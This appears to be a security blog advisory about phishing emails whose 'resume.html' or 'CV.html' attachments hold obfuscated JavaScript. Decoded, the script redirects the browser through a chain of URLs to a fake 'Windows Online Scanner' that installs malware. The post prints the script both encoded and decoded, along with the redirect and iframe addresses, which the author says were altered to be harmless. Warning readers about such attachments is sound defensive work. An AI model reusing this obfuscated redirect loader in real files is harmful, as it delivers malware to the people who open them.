This evening we started to notice a bunch of messages with "Resume" in the subject line and HTML attachments. The attachment was named "resume.html". Makes sense to name it that when you're trying to deceive.
UPDATE: Later versions of this message have an attachment named "CV.html". Different file name, same threat.
These attachments contained not an HTML-formatted resume but a java script that made a call to an encoded URL. And proceeded to try to do very bad things...
Please note in the examples below we have modified the content and website addresses to render them harmless to you.
These "resume.html" file attachments contained content like this:
[SCRIPT LANGUAGE="Javascript"]
[!--
//
function xhtmldecode(x){
document.write(unescape(x))
}
function runit()
{
x="%3C%6D%65%74%61%20%68%740
%2D%65%71%75%6 22%72%65%66%72
%65%73%68%22%20%63%6F%6E%74
%65%6E%74%3D%22%30%%72%6C%
3D%4%70%3A%2F%2F%77%69%6D%
62%65%72%74%2E%6E%6C%2F%78%
2E%68%74%6D%6C%20D%0A"
xhtmldecode(x)
}
runit()
//--]
[/script]
Encoding is a means of modifying the URL to perform actions on it. Along with modifying the URL by converting it to hexadecimal or octal characters, a website can be "obfuscated" -- written in a manner as
%68%74%74%70%3a%2f%2f%74%65%63%68%62%6c%6f%67%2e%61%64%61%6d%73%2e%6e%65%74
making it nearly impossible for a human to ascertain the actual address. But the web browser knows how to convert that string of characters into the proper web address.
When "decoded" the script was actually directing the web browser to a website in the Netherlands:
[SCRIPT LANGUAGE="Javascript"][!--
//
function xhtmldecode(x){
document.write(unescape(x))
}
function runit(){
x="[meta http-equiv="refresh"
content="0;url=http://wi88888rt.nl/x.html"]
"
xhtmldecode(x)
}
runit()
//--]
[/script]
This told the browser to immediately get redirected to the web page "x.html" at that website. That page then loaded a window that would then direct to yet another page that started the malicious activity prompting the user to "install a missing plugin" but then loading harmful content at the same time.
PLEASE WAITING 4 SECOND...
REFRESH(4 sec): http://brocu88888slock.cz.cc/scanner10/?afid=24
IFRAME: http://hig88888ce.in/stat/?up=image&page=151&done=disabled&account=ecard&next=param
Then the page would display "Windows Online Scanner" and begin to install malicious software on a PC that was not properly protected against such threats.
My Windows Online Scanner
[loading.gif]
Initializing Virus Protection System...
The moral here is quite simple -- never attempt to open any file attachment unless you have first fully verified the authenticity of the sender and then only after doing a scan of the file with anti-virus software that has been updated to the most current definitions.
Posts
